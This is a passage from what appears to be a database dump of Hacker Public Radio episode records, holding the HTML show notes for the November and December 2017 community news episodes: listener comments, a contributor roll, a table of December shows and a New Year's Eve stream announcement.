href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2427#1\" target=\"_blank\">Comment 1</a>:\nShane Shennan on 2017-12-02:\n\"Thanks! I made a connection!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2427#2\" target=\"_blank\">Comment 2</a>:\n0xf10e on 2017-12-02:\n\"Solaris?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2427#3\" target=\"_blank\">Comment 3</a>:\nZen_Floater2 on 2017-12-02:\n\"OpenBSD user\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2432#comments\" target=\"_blank\">hpr2432</a></strong>\n(2017-11-28) \"<em>Living with the Nokia 6 – an update to HPR 2405</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2432#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2017-12-02:\n\"Cheers Tony\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2432#2\" target=\"_blank\">Comment 2</a>:\nRWA on 2017-12-02:\n\"Nokia 6 Update\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2433#comments\" target=\"_blank\">hpr2433</a></strong>\n(2017-11-29) \"<em>You were right, I was wrong</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2433#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2017-12-02:\n\"Best title ever!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2434#comments\" target=\"_blank\">hpr2434</a></strong>\n(2017-11-30) \"<em>Cybrosis</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2434#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2017-12-02:\n\"Link so you don&#39;t have to find the previous ep\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-November/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-November/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"call-for-shows\">Call for shows</h3>\n<ul>\n<li>If there is anyone else who hasn\'t submitted a show this year there are only a few slots free !!!</li>\n</ul>\n<h3 id=\"new-years-eve\">New Year\'s Eve</h3>\n<ul>\n<li><em>HonkeyMagoo</em> and associates have offered to look after the HPR New Year\'s Eve event again this year. They say:</li>\n</ul>\n<blockquote>\n<p><em>&quot;We plan on starting on 2017-12-31T10:00:00Z (December 31, 2017 5:00 am EST)<br/>\nWe will stop the recording and the stream as long as there is no one on at 2018-01-01T12:00:00Z (January 1, 2018 7:00 am EST). If people are still on and talking we will keep the stream and the recording going.&quot;</em></p>\n</blockquote>\n<ul>\n<li>Further details are available on the HPR mailing list and the <a href=\"https://linuxlugcast.com/?p=611\">LinuxLUGcast</a> website.</li>\n</ul>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<ul>\n<li>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\"><code>Windigo</code></a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\"><code>bjb</code></a> for sending in updates in the past month.</li>\n</ul>\n<!--\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker\n-->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2456,'2018-01-01','HPR Community News for December 2017',5229,'HPR Volunteers talk about shows released and comments posted in December 2017','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Thanks to all HPR contributors in 2017!</h2>\n\n<p>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=351\">@einebiene</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\">b-yeezi</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\">Beeza</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\">Bill \"NFMZ1\" Miller</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=330\">Bitbox</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\">bjb</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=350\">BobJonkman</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\">brian</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\">Brian in Ohio</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\">Christopher M. Hobbs</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\">clacke</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\">Claudio Miranda</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\">Clinton Roy</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=126\">cobra2</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\">Curtis Adkins (CPrompt^)</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=77\">Dave Yates</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\">David Whitman</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=73\">deepgeek</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\">dodddummy</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\">droops</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=182\">Epicanis</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=317\">Eric Duhamel</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\">FiftyOneFifty</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\">Frank Bell</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=352\">fth</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\">Geddes</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=349\">Hannah, of Terra, of Sol</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=358\">Ironic Sodium</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\">Jezra</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=96\">Jrullo</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=355\">Knox</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=257\">laindir</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">lostnbronx</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\">m1rr0r5h4d35</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=340\">mattkingusa</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=271\">mirwi</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=356\">Mongo</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=319\">OnlyHalfTheTime</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\">operat0r</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\">Quvmoh</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=348\">Reg A</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\">Shane Shennan</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\">sigflup</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\">spaceman</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\">Steve Saner</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\">swift110</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\">Thaj Sara</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\">The Alien Brothers Podcast (ABP)</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\">TheDUDE</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\">thelovebug</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\">Tony Hughes AKA TonyH1212</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\">Various Hosts</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=353\">venam</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>,\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\">Xoke</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2435\" target=\"_blank\">2435</a></strong></td>\n    <td>Fri</td>\n    <td>2017-12-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2435\" target=\"_blank\">Server Basics 102</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2436\" target=\"_blank\">2436</a></strong></td>\n    <td>Mon</td>\n    <td>2017-12-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2436\" target=\"_blank\">HPR Community News for November 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2437\" target=\"_blank\">2437</a></strong></td>\n    <td>Tue</td>\n    <td>2017-12-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2437\" target=\"_blank\">Interface Zero Play-through Part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2438\" target=\"_blank\">2438</a></strong></td>\n    <td>Wed</td>\n    <td>2017-12-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2438\" target=\"_blank\">Gnu Awk - Part 8</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2439\" target=\"_blank\">2439</a></strong></td>\n    <td>Thu</td>\n    <td>2017-12-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2439\" target=\"_blank\">Internal Logic of Stories</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2440\" target=\"_blank\">2440</a></strong></td>\n    <td>Fri</td>\n    <td>2017-12-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2440\" target=\"_blank\">How to save bad beans or the French press</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=126\" target=\"_blank\">cobra2</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2441\" target=\"_blank\">2441</a></strong></td>\n    <td>Mon</td>\n    <td>2017-12-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2441\" target=\"_blank\">Server Basics 103</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2442\" target=\"_blank\">2442</a></strong></td>\n    <td>Tue</td>\n    <td>2017-12-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2442\" target=\"_blank\"> The sound of Woodbrook Quaker Study centre in the Spring</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2443\" target=\"_blank\">2443</a></strong></td>\n    <td>Wed</td>\n    <td>2017-12-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2443\" target=\"_blank\">pdmenu</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2444\" target=\"_blank\">2444</a></strong></td>\n    <td>Thu</td>\n    <td>2017-12-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2444\" target=\"_blank\">Interface Zero Play-through Part 4</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2445\" target=\"_blank\">2445</a></strong></td>\n    <td>Fri</td>\n    <td>2017-12-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2445\" target=\"_blank\">Information Underground: Backwards Capitalism</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2446\" target=\"_blank\">2446</a></strong></td>\n    <td>Mon</td>\n    <td>2017-12-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2446\" target=\"_blank\">Git server and git hooks</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2447\" target=\"_blank\">2447</a></strong></td>\n    <td>Tue</td>\n    <td>2017-12-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2447\" target=\"_blank\">Server Basics 104 OpenVPN Server</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2448\" target=\"_blank\">2448</a></strong></td>\n    <td>Wed</td>\n    <td>2017-12-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2448\" target=\"_blank\">Useful Bash functions - part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2449\" target=\"_blank\">2449</a></strong></td>\n    <td>Thu</td>\n    <td>2017-12-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2449\" target=\"_blank\">Org-mode mobile solution</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2450\" target=\"_blank\">2450</a></strong></td>\n    <td>Fri</td>\n    <td>2017-12-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2450\" target=\"_blank\">Android Audio with viper 4 android and magisk</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2451\" target=\"_blank\">2451</a></strong></td>\n    <td>Mon</td>\n    <td>2017-12-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2451\" target=\"_blank\">Server Basics 105 OpenVPN Client</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2452\" target=\"_blank\">2452</a></strong></td>\n    <td>Tue</td>\n    <td>2017-12-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2452\" target=\"_blank\">Hydraulic Heavy Scale Project</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2453\" target=\"_blank\">2453</a></strong></td>\n    <td>Wed</td>\n    <td>2017-12-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2453\" target=\"_blank\">The power of GNU Readline - part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2454\" target=\"_blank\">2454</a></strong></td>\n    <td>Thu</td>\n    <td>2017-12-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2454\" target=\"_blank\">The Alien Brothers Podcast - S01E02 - Strictly Hacking</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2455\" target=\"_blank\">2455</a></strong></td>\n    <td>Fri</td>\n    <td>2017-12-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2455\" target=\"_blank\">Interface Zero RPG Part 5</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 43 comments in total.</p>\n<p>There are 15 comments on\n11 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2163#comments\" target=\"_blank\">hpr2163</a></strong>\n(2016-11-16) \"<em>Gnu Awk - Part 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2163#3\" target=\"_blank\">Comment 3</a>:\nRon Strelecki on 2017-12-09:\n\"GNU AWK, part four\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2163#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2017-12-10:\n\"Thanks Ron\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2163#5\" target=\"_blank\">Comment 5</a>:\nRon Strelecki on 2017-12-18:\n\"GNU Awk, part four\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2184#comments\" target=\"_blank\">hpr2184</a></strong>\n(2016-12-15) \"<em>Gnu Awk - Part 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2184#3\" target=\"_blank\">Comment 3</a>:\nZZ on 2017-12-11:\n\"GNU Awk part 5\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2184#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2017-12-11:\n\"Re: Audio\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2297#comments\" target=\"_blank\">hpr2297</a></strong>\n(2017-05-23) \"<em>More Magnatune Favourites</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2297#5\" target=\"_blank\">Comment 5</a>:\nrtsn on 2017-12-17:\n\"good stuff\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2314#comments\" target=\"_blank\">hpr2314</a></strong>\n(2017-06-15) \"<em>Bad Caps</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2314#9\" target=\"_blank\">Comment 9</a>:\nNYbill on 2017-12-12:\n\"Its alive!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2314#10\" target=\"_blank\">Comment 10</a>:\nJon KUlp on 2017-12-15:\n\"Insomnia\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2394#comments\" target=\"_blank\">hpr2394</a></strong>\n(2017-10-05) \"<em>The Lost Episode</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2394#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2017-12-20:\n\"All set but ....\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2403#comments\" target=\"_blank\">hpr2403</a></strong>\n(2017-10-18) \"<em>Amateur Radio Round Table #3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2403#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-12-04:\n\"Visualisation of waves\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2417#comments\" target=\"_blank\">hpr2417</a></strong>\n(2017-11-07) \"<em>Transmeta Crusoe - Fujitsu-Siemens Futro S210 (ThinClient) - Trouble Shooting and Debian 9 Install</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2417#3\" target=\"_blank\">Comment 3</a>:\nbusybusy on 2017-12-29:\n\"A Different Time\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2420#comments\" target=\"_blank\">hpr2420</a></strong>\n(2017-11-10) \"<em>Netbooks - Keeping an old friend alive</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2420#2\" target=\"_blank\">Comment 2</a>:\nGumnos on 2017-12-02:\n\"Netbooks and lightweight OSes\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2422#comments\" target=\"_blank\">hpr2422</a></strong>\n(2017-11-14) \"<em>Kickstarter Post Mortem</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2422#1\" target=\"_blank\">Comment 1</a>:\nbusybusy on 2017-12-29:\n\"Kickstarter Revisited\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2431#comments\" target=\"_blank\">hpr2431</a></strong>\n(2017-11-27) \"<em>Information Underground: Local Control</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2431#1\" target=\"_blank\">Comment 1</a>:\nZen_Floater2 on 2017-12-01:\n\"Benevolent Dictator of the Magical Forrest\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2432#comments\" target=\"_blank\">hpr2432</a></strong>\n(2017-11-28) \"<em>Living with the Nokia 6 – an update to HPR 2405</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2432#3\" target=\"_blank\">Comment 3</a>:\nTony Hughes on 2017-12-01:\n\"Reply to RWA re App performance\"</li></ul><br/>\n</li></ul>\n<p>There are 28 comments on 13 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2435#comments\" target=\"_blank\">hpr2435</a></strong>\n(2017-12-01) \"<em>Server Basics 102</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2435#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2017-12-05:\n\"yum whatprovides?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2437#comments\" target=\"_blank\">hpr2437</a></strong>\n(2017-12-05) \"<em>Interface Zero Play-through Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2437#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-12-05:\n\"Noooooooo\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2437#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2017-12-05:\n\"Ignore him\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2437#3\" target=\"_blank\">Comment 3</a>:\njrullo on 2017-12-05:\n\"Is there a link for the free guide you mentioned.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2437#4\" target=\"_blank\">Comment 4</a>:\nKlaatu on 2017-12-08:\n\"Free guide\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2438#comments\" target=\"_blank\">hpr2438</a></strong>\n(2017-12-06) \"<em>Gnu Awk - Part 8</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2438#1\" target=\"_blank\">Comment 1</a>:\nRon Strelecki on 2017-12-22:\n\"AWK part 8\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2438#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-12-24:\n\"Thanks Ron\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2440#comments\" target=\"_blank\">hpr2440</a></strong>\n(2017-12-08) 